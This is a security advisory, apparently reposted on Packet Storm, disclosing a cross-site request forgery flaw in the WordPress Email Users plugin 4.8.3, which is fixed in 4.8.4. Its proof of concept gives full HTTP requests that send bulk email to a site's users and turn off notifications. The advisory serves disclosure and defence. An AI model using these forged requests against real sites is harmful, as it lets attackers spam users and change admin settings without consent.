exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Email Users 4.8.3 Cross Site Request Forgery

WordPress Email Users 4.8.3 Cross Site Request Forgery
Posted Aug 15, 2016
Authored by Securify B.V., Julien Rentrop

WordPress Email Users plugin version 4.8.3 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | e95cd129dfdad640f2314a8c9ef5fc62bab02dab246202c827b58fe411e8e97d

WordPress Email Users 4.8.3 Cross Site Request Forgery

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Request Forgery vulnerability in Email Users WordPress Plugin
------------------------------------------------------------------------
Julien Rentrop, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was found that the Email Users WordPress Plugin is vulnerable to
Cross-Site Request Forgery. By using this issue it is possible for an
attacker to send arbitrary (bulk) email messages to any address. In
order to exploit this issue, an attacker needs to lure a target user
into clicking a specially crafted link or visiting a malicious website
(or advertisement).

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160718-0001

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Email Users WordPress Plugin
version 4.8.3.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in Email Users version 4.8.4.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_vulnerability_in_email_users_wordpress_plugin.html

The email users admin page has admin pages for;

- Send to individual user(s)
- Send to group of users
- Settings

These functions can all be triggered using a CSRF attack. These functions can get executed when a logged on admin user gets triggered in to opening a page the attacker controls. Especially the option to send mails to groups of users is interesting for an attacker. In order to exploit this issue, an attacker needs to lure a target user into clicking a specially crafted link or visiting a malicious website (or advertisement).
Proof of concept

As you can see in all messages there is not a WordPress nonce (or other kind of CSRF token) present. This makes the CSRF possible. The cookie values should be replaced by the values of a logged on admin user. Most unneeded headers/params are stripped in the examples.
Send to individual user(s)

See below the example message. The attacker can fill in the various fields such as body of the mail. For verification check if the response contains "<p>Email sent to" (followed by nr of users). As user id's are just sequential numbers an attacker can send a list of id's. The "%5B%5D" part is url encoded form of [], so it's also possible to send in a list of user id's at once.

POST /wp-admin/admin.php?page=mailusers-send-to-user-page HTTP/1.1
Host: <target>
Content-Length: 157
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3;
Connection: close

send=true&fromName=wordpress&fromAddress=sumofpwn%40mailinator.com&mail_format=html&send_users%5B%5D=2&subject=test&mailcontent=test&Submit=Send+Email+%C2%BB

Send to group of users

See above. Here the send_targets param is used to send to the role-subscriber users.

POST /wp-admin/admin.php?page=mailusers-send-to-group-page HTTP/1.1
Host: <target>
Content-Length: 257
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3;
Connection: close

send=true&fromName=other&fromAddress=other%40mail.com&group_mode=role&mail_format=html&send_targets%5B%5D=role-subscriber&subject=Subject+mail+to+all+subscribers&mailcontent=%3Cstrong%3EMessage+mail+to+all+subscribers%3C%2Fstrong%3E&Submit=Send+Email+%C2%BB

Settings

The following requests turns off noticiations for user id 1. Other modifications are also possible. Note; this is a bit different from previous requests since this is GET instead of POST.

GET /wp-admin/admin.php?page=mailusers-user-settings&action=notifications_off&user%5B%5D=1 HTTP/1.1
Host: <target>
Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3;
Connection: close


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close